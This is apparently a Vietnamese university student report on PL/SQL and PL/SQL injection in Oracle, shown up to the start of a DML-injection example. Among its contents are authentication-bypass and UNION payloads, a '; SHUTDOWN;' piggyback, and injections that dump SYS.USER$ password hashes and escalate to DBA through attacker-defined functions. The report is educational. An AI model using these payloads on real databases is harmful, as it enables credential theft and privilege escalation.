Các hệ quản trị cơ sở dữ liệu thông dụng như Oracle, MSSQL hay MySQL đều có chung một đặc điểm này, chính vì vậy những dạng tấn côngliên quan đến SQL thường được xếp hàng đầu trong danh
Trang 1Sinh viên thực hiện: Nguyễn Đàm Minh Hiếu AT150317
Nguyễn Quang Thành AT150251Kiều Duy Khánh AT150328Ngô Anh Duân AT150309
Giảng viên hướng dẫn: Thầy Trần Nghi Phú
Hà Nội, 10-2021
Trang 2Lời nói đầu
Sự phát triển vượt bậc của công nghệ web đã đem lại rất nhiều thuận lợi cho người
sử dụng cũng như các nhà phát triển.Nhưng cùng với sự phát triển này thì các ứngdụng web cũng trở thành mục tiêu ưu thích của những kể tấn công Đa số ứng dụngweb ngày này đều quản lý và đáp ứng các yêu cầu truy xuất dữ liệu thông qua ngônngữ truy vấn cấu trúc SQL Các hệ quản trị cơ sở dữ liệu thông dụng như Oracle, MSSQL hay MySQL đều có chung một đặc điểm này, chính vì vậy những dạng tấn côngliên quan đến SQL thường được xếp hàng đầu trong danh sách các lỗ hổng nguy hiểmnhất, và dạng tấn công vào những lỗi này gọi là SQL injection Trong thực tế các cuộctấn công SQL Injection gây ra hậu quả rất nghiêm trọng, tin tặc có thể lấy tất cả dữ liệungười dùng có trong cơ sở dữ liệu như chi tiết người dùng, thông tin thẻ tín dụng, số
an sinh xã hội và cũng có thể truy cập vào các khu vực được bảo vệ như cổng quản trịviên Cũng có thể xóa dữ liệu người dùng khỏi bảng Ngày nay, tất cả các ứng dụngmua sắm trực tuyến, giao dịch ngân hàng đều sử dụng máy chủ cơ sở dữ liệu back-end
Vì vậy, trong trường hợp tin tặc có thể khai thác SQL injection, toàn bộ máy chủ sẽ bịxâm phạm Tấn công website bằng kỹ thuật SQL injection từ lâu đã là mối quan tâmbảo mật hàng đầu của các nhà phát triển web và chủ sở hữu website Ngày nay, mặc dùcác kỹ thuật mới đã được triển khai để phòng tránh hầu hết các cuộc tấn công SQLInjection nhưng trong nhiều hệ thống website vẫn còn tồn tại những điểm yếu này, mớiđây nhất máy chủ VPN của BKAV đã bị hacker tấn công bằng chính kỹ thuật SQLInjection và hậu quả của nó vô cùng nghiêm trọng Là sinh viên an toàn thông tin vớinhững kiến thức nền đã được học cùng với mong muốn bảo vệ an toàn cho không gian
mạng, chúng em lựa chọn đề tài “Tìm hiểu về PL/SQL và PL/SQL Injection” làm đề
tài bài tập lớn của mình, nhằm tìm hiểu sâu hơn và cụ thể hơn về kỹ thuật SQLInjection trong Oracle và với ngôn ngữ thủ tục PL/SQL
Trang 3Mục lục
CHƯƠNG 1 TÌM HIỂU VỀ PL/SQL TRONG ORACLE 2
1.1 Giới thiệu 2
1.2 Các đặc điểm của PL/SQL 2
1.3 Cấu trúc của PL/SQL 3
1.4 Lợi ích khi sử dụng PL/SQL 4
CHƯƠNG 2 CHƯƠNG 2: PL/SQL INJECTION 6
2.1 SQL Injection 6
2.1.1 Khái niệm 6
2.1.2 Các kiểu tấn công SQL Injection 6
2.2 PL / SQL Injection 9
2.2.1 Injecting into SELECT Statements 9
2.2.2 Injection into DML – DELETE, INSERT, UPDATE 11
2.2.3 Injecting into Anonymous blocks 12
2.2.4 Thực thi các truy vấn do người dùng cung cấp với DBMS_SQL 13
2.2.5 PL/SQL Injection và Database Trigger 18
2.2.6 PL/SQL và Máy chủ ứng dụng Oracle 22
CHƯƠNG 3 PHÒNG CHỐNG SQL INJECTION 27
Trang 4CHƯƠNG 1 TÌM HIỂU VỀ PL/SQL TRONG ORACLE
1.2 Các đặc điểm của PL/SQL
Cấu trúc khối: đơn vị cơ bản của PL/SQL là một khối Tất cả các chương trình củaPL/SQL được xây dựng từ những khối Mỗi khối là một đơn vị công việc logic trongmột chương trình Cấu trúc của một khối như sau:
Trang 5- Cấu trúc vòng lặp và rẽ nhánh: Cũng như ngôn ngữ lập trình bậc cao như Pascal,Visual Basic…PL/SQL cho phép sử dụng các cấu trúc điều khiển điều kiện và cấu trúclặp
- Cursor: được dùng để thao tác với nhiều hàng dữ liệu lấy từ CSDL (dùng câu lệnhSelect) Bằng cách sử dụng Cursor, chương trình có thể duyệt một cách dễ dàng toàn
bộ các hàng dữ liệu Để xử lý câu lệnh SQL, Oracle tạo ra một vùng nhớ gọi là vùngngữ cảnh (Context Area) Vùng ngữ cảnh chứa những thông tin cần thiết để hoàn thànhmột quá trình, bao gồm số hàng được xử lý bởi câu lệnh, con trỏ tới câu lệnh Trongtrường hợp một Query, vùng ngữ cảnh là một tập hợp các hàng được trả về bởi Query
đó Cursor là một thẻ (Handle) hoặc một con trỏ (Pointer) trỏ tới vùng ngữ cảnh.Thông qua Cursor, một chương trình PL/SQL có thể điều khiển vùng ngữ cảnh, 4 bướccần thiết để xử lý Cursor:
Khai báo Cursor
Mở Cursor để thực hiện Query
Đưa kết quả vào biến PL/SQL
Đóng Cursor
1.3 Cấu trúc của PL/SQL
Có thể nói PL/SQL là ngôn ngữ cấu trúc khối (Block-Structure) Đơn vị cơ bản trongmỗi chương trình PL/SQL là khối Tất cả các chương trình PL/SQL đều được hợpthành từ những khối Các khối có thể tuần tự hoặc lồng nhau Mỗi khối liên quan đếnmột vấn đề hoặc một vấn đề con cần được giải quyết PL/QL hỗ trợ cách tiếp cận giảiquyết vấn đề theo kiểu “chia để trị”
Có một vài kiểu khối bao gồm:
- Khối không tên (Anonymous Block): thường được xây dựng tự động và được thựchiện duy nhất một lần
- Khối có tên (Named Block): là những khối không tên với nhãn được gán cho tên củakhối
- Chương trình con (Subprogram): là những thủ tục (Procedure), gói (Package) và hàm(Function) được lưu trong cơ sở dữ liệu Những khối này thường không thay đổi mộtkhi đã được xây dựng và chúng được thực hiện nhiều lần Thực hiện chương trình conbằng lời gọi thủ tục, gói hoặc hàm cần thực hiện
- Trigger: tương tự như chương trình con, chúng cũng được lưu trong cơ sở dữ liệu vàđược thực hiện nhiều lần, đồng thời ít thay đổi sau khi tạo ra Trigger được thực hiệnmỗi khi có một sự kiện được kích hoạt
Trang 6Trong mỗi khối của chương trình, PL/SQL đều có những phần tách biệt nhau: phầnkhai báo, phần thực hiện và phần kiểm soát lỗi Chỉ có phần thực hiện là bắt buộc phải
có còn hai phần kia có thể có hoặc không
Phần khai báo là nơi mà tất cả các biến, cursor và các kiểu dùng trong khối được khaibáo Những hàm và thủ tục địa phương cũng có thể được khai báo ở đây Phần thựchiện là phần chính của khối, là nơi thực hiện công việc của khối Phần này bao gồmcác câu lệnh SQL và những câu lệnh gọi thủ tục Lỗi được kiểm soát trong phần kiểmsoát lỗi Mã chương trình này chỉ được thực hiện khi có lỗi xảy ra Trong PL/SQL có 2loại lỗi chính là: Compile (lỗi phát sinh khi dịch) và Run-time (lỗi phát sinh khi chạy).PL/SQL kiểm soát lỗi thông qua ngoại lệ (Exceptions) và xử lý ngoại lệ (ExceptionHandlers) Exception được thiết kế để xử lý những lỗi phát sinh khi chạy chương trình,còn đối với những lỗi phát sinh khi dịch sẽ được phát hiện bởi PL/SQL và trả về thôngbáo cho người sử dụng Khi có lỗi phát sinh, một ngoại lệ được phát sinh, quyền điềukhiển được chuyển sang phần kiểm soát lỗi Nhờ việc thiết kế phần mềm kiểm soát lỗimột cách độc lập nên tính logic của chương trình dễ hiểu hơn, đồng thời nó cũng bảođảm tất cả mọi lỗi sẽ được kiểm soát Những từ khoá DECLARE, BEGIN,EXCEPTION và END ngăn cách những khối với nhau
Trang 7Phát triển các chương trình theo hướng Module hoá
Tương thích với nhiều công cụ của Oracle như: Oracle Forms, Oracle Reports
PL/SQL có thể chạy tại bất cứ nơi nào Oracle Database hoạt động, không phân biệt OSCung cấp cơ chế kiểm soát ngoại lệ
Trang 8CHƯƠNG 2 CHƯƠNG 2: PL/SQL INJECTION
2.1.2 Các kiểu tấn công SQL Injection
First-order Injection : Những kẻ tấn công đưa vào các câu lệnh SQL bằng cách cung
cấp đầu vào của người dùng được tạo thủ công thông qua HTTP GET hoặc POST,cookie hoặc tập hợp các biến máy chủ có chứa HTTP, tiêu đề mạng và các thông sốmôi trường khác Ví dụ: lệnh UNIONS được thêm vào câu lệnh hiện có để thực hiện
Trang 9câu lệnh thứ hai, truy vấn con được thêm vào câu lệnh hiện có hoặc điều kiện truy vấnnhư "OR 1 = 1" được thêm vào để trả về tất cả dữ liệu từ bảng
Second-order Injection : Những kẻ tấn công đưa các câu lệnh SQL vào bộ lưu trữ
liên tục (chẳng hạn như một bản ghi bảng) được coi như một nguồn đáng tin cậynhưng sẽ gián tiếp kích hoạt một cuộc tấn công khi đầu vào đó được sử dụng sau đó
Ví dụ: kẻ tấn công đăng ký một tài khoản với username là “admin' " Giả sử rằngứng dụng Web không thể xác thực đầu vào trước khi lưu trữ nó trong cơ sở dữ liệu Kẻtấn công sau đó sửa đổi mật khẩu của mình bằng cách sử dụng câu lệnh SQL sau:
UPDATE tblname SET password = '" + newPassword + "' WHERE username = '" + userName + "' AND password = '" + oldPassword + "'"
Trong trường hợp này, tên của kẻ tấn công hiện đang đăng nhập là '' admin '-' "và câulệnh SQL trên sẽ được đọc là:
UPDATE users SET password='newpassword' WHERE userName= 'admin' ' AND password='oldpassword'
Vì "-" là toán tử chú thích SQL, mọi thứ sau nó sẽ bị SQL Engine bỏ qua Do đó, câulệnh SQL của kẻ tấn công sẽ thay đổi tên người dùng của quản trị viên ("admin") thànhmột giá trị do kẻ tấn công chỉ định
Illegal/Logically Incorrect Queries: Kẻ tấn công thu thập thông tin quan trọng về
loại và cấu trúc của cơ sở dữ liệu phía sau của ứng dụng Web bằng cách đưa vào cúpháp SQL bất hợp pháp hoặc không chính xác về mặt logic, điều này sẽ làm cho ứngdụng trả về các trang lỗi mặc định thường tiết lộ các tham số dễ bị tấn công / có thểchèn cho kẻ tấn công Cuộc tấn công này được coi là bước thu thập thông tin sơ bộ chocác cuộc tấn công SQL injection khác Ví dụ:
Kiểm tra tên cột
Input (username): 'ddd"
Sql: SELECT * FROM students WHERE username = 'ddd"' AND password =
Kết quả:"Incorrect syntax near 'ddd' Unclosed quotation mark after the character string '' AND Password='aaa''."
Tautologies : Kẻ tấn công đưa một truy vấn luôn đánh giá là true cho các mục nhập
trong cơ sở dữ liệu để bỏ qua xác thực, xác định các tham số có thể chèn hoặc tríchxuất dữ liệu Ví dụ:
Tên người dùng đã biết
Input (username): jdoe' or
'1'='1 Sql: SELECT * FROM students WHERE username = 'jdoe' or '1'='1' AND password =
Kết quả: Tất cả dữ liệu của student được truy xuất
Trang 10Cả tên người dùng và mật khẩu không được biết
Input (username): ' or '' = '
Input (password): ' or '' = '
Sql: select * from students where username = '' or '' = '' and password = ''
or '' = ''
Kết quả: Tất cả dữ liệu của student được truy xuất
Union Query: Kẻ tấn công đưa một UNION SELECT để lừa ứng dụng trả về dữ liệu
từ một bảng khác với bảng đã định Đây là một hình thức phổ biến sử dụng một tríchdẫn duy nhất cho cuộc tấn công này:
câu lệnh SQL bình thường + "dấu chấm phẩy" + UNION SELECT <phần còn lại củatruy vấn được chèn>
PiggyBacked Queries : Kẻ tấn công đưa các truy vấn bổ sung vào truy vấn ban đầu để
trích xuất dữ liệu, thêm hoặc sửa đổi dữ liệu, thực hiện từ chối dịch vụ hoặc thực hiệncác lệnh từ xa Trong trường hợp này, kẻ tấn công không có ý định sửa đổi truy vấn dựđịnh ban đầu mà bao gồm các truy vấn mới trên truy vấn ban đầu Kết quả là DBMSnhận được nhiều truy vấn SQL Đầu tiên là truy vấn thông thường được thực hiện bìnhthường, trong khi các truy vấn tiếp theo được thực hiện để đáp ứng cuộc tấn công Đây
là một biểu mẫu phổ biến sử dụng dấu phân cách truy vấn (?;?) Cho cuộc tấn côngnày:
câu lệnh SQL bình thường + ";" + INSERT (hoặc UPDATE, DELETE, DROP) <phầncòn lại của truy vấn được chèn>
Stored Procedures: Khi một câu lệnh SQL bình thường (tức là SELECT) được tạo
như một thủ tục được lưu trữ, kẻ tấn công có thể đưa vào một thủ tục được lưu trữkhác để thay thế cho một thủ tục được lưu trữ thông thường để thực hiện leo thang đặcquyền, tạo từ chối dịch vụ hoặc thực hiện các lệnh từ xa Đây là một biểu mẫu phổbiến sử dụng dấu phân cách truy vấn (“;”) Và thủ tục lưu trữ " SHUTDOWN " chocuộc tấn công này:
câu lệnh SQL bình thường + "; SHUTDOWN; " <phần còn lại của truy vấn được đưavào>
2.2 PL / SQL Injection
Trong phần này chúng ta thảo luận về PL / SQL Injection, một kỹ thuật tấn công quantrọng liên quan đến các thủ tục được lưu trữ trong Oracle Sử dụng PL / SQL Injection,những kẻ tấn công có thể nâng cấp đặc quyền của họ từ tài khoản PUBLIC cấp thấplên tài khoản có đặc quyền cấp DBA Kỹ thuật này liên quan đến hầu hết tất cả các
Trang 11phiên bản của Oracle, và có thể được sử dụng để tấn công các thủ tục được lưu trữ tùychỉnh cũng như các thủ tục được cung cấp cùng với chính Oracle.
2.2.1 Injecting into SELECT Statements
Phần này chúng ta sẽ tìm hiểu cách chúng ta chèn vào câu lệnh SQL trái phép thôngqua câu lệnh SELECT Chúng ta hãy xét ví dụ sau, xem xét mã của thủ tục này và giả
sử nó thuộc sở hữu của SYS và có thể được thực thi bởi PUBLIC:
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS
-SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES ('SYS');
Thủ tục này dễ bị chèn SQL Người dùng thực thi quy trình có thể nhập một trích dẫnduy nhất để "thoát ra" khỏi truy vấn được xác định bằng mã ban đầu và chèn truy vấn
bổ sung của riêng mình Vì Oracle không thực hiện các truy vấn hàng loạt nhưMicrosoft SQL Server, nên theo truyền thống, người ta tin rằng những kẻ tấn công chỉ
có khả năng thực hiện các truy vấn UNION SELECT trong những tình huống như vậy.Bây giờ, hãy xem cách chúng ta sử dụng UNION SELECT để trả về các mật khẩu bămcủa mỗi người dùng được lưu trữ trong bảng SYS.USER$
Trang 12SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES(‘FOO’’ UNION SELECT PASSWORD FROM SYS.USER$ ’);
Khi chạy truy vấn này, thay vì truy vấn được xác định bằng mã ban đầu
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ AND
OBJECT_TYPE=’LIBRARY’
thì chúng sẽ được thực thi như sau:
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ ‘UNION SELECT PASSWORD FROM SYS.USER$ ’ AND OBJECT_TYPE=’LIBRARY’
Dấu trừ kép ở cuối biểu thị một nhận xét trong các truy vấn Oracle và loại bỏ hiệu quảAND OBJECT_TYPE = ‘LIBRARY’ Khi truy vấn chạy, danh sách các mật khẩu bămđược xuất ra
Injecting Attacker-Defined Functions to Overcome Barriers
Ở ví dụ trên, chúng ta có thể dễ dàng lấy ra mật khẩu trong bảng SYS.USER$, nếuchúng ta muốn lấy thêm một trường ghi khác ngoài trường mật khẩu Ta sẽ chạy câulệnh này thay cho câu lệnh trước:
EXEC SYS.LIST_LIBRARIES(‘FOO’’ UNION SELECT NAME, PASSWORD FROM SYS.USER$ ');
Nhưng cơ sở dữ liệu sẽ trả về lỗi:
ORA-01789: query block has incorrect number of result columns
ORA-06512: at “SYS.LIST_LIBRARIES”, line 6
Lỗi trên thông báo cho chúng ta biết rằng số cột truy vấn ở câu lệnh union không trùngvới số cột được đưa ra trong thủ tục Chúng ta có thể loại bỏ trường password và chỉlấy name, thực thi lệnh này có thể lấy ra tên của người dùng Nhưng nếu kết quả chúng
ta muốn trả về lại là một số, điều này cũng có thể gây ra lỗi vì câu lệnh UNION cũng
sẽ kiểm tra cả kiểu dữ liệu
Vậy chúng ta sẽ có kỹ thuật để làm được điều chúng ta muốn Chúng ta sẽ tạomột hàm của riêng chúng ta để thực hiện công việc và đưa nó vào thủ tục Giả sửchúng ta muốn lấy USER#(number), NAME(a varchar2) và PASS(a varchar2) từSYS.USER $, chúng ta có thể tạo hàm sau:
CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID
Trang 13LOOP
FETCH CV INTO N,U,P;
DBMS_OUTPUT.PUT_LINE(‘USER#: ‘ || N || ‘ NAME ‘ || U || ‘ PWD ‘ || P);
EXIT WHEN CV%NOTFOUND;
USER#: 0 NAME SYS PWD 2696A092833AFD9A
USER#: 1 NAME PUBLIC PWD 68376589237BDJB
USER#: 2 NAME CONNECT PWD 637264HJVHJ56778
USER#: 3 NAME RESOURCE PWD 8634HJVH465HJ576
USER#: 4 NAME DBA PWD 6348632HFJG364
…
Có một lưu ý rằng khi chúng ta tạo hàm, chúng ta đã sử dụng từ khóa AUTHIDCURENT_USER Lý do cho điều này là vì nếu có từ khóa AUTHIDCURRENT_USER, khi LIST_LIBRARIES chạy hàm của chúng ta, nó sẽ giả địnhhoặc kế thừa các đặc quyền của SYS
Doing More Than Just SELECT
Có một số hạn chế đối với việc chèn và chạy các chức năng trong hàm chỉ có thể thựchiện với các truy vấn SELECT, nếu thử thực thi các câu lệnh DDL hoặc DML sẽ gây
ra lỗi
ORA-14552: cannot perform a DDL, commit or rollback inside a query or DML
Ví dụ, chúng ta tạo một hàm như sau:
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER
IS
Trang 142.2.2 Injection into DELETE, INSERT, UPDATE
Việc đưa vào các câu lệnh DELETE, INSERT và UPDATE cho phép kẻ tấn công linhhoạt hơn nhiều so với việc đưa vào các câu lệnh SELECT về những hành động màchúng có thể thực hiện
Chúng ta hãy tạo một bảng:
CREATE TABLE EMPLOYEES (EMP_NAME VARCHAR(50));
Hãy xem xét quy trình PL/SQL sau:
CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS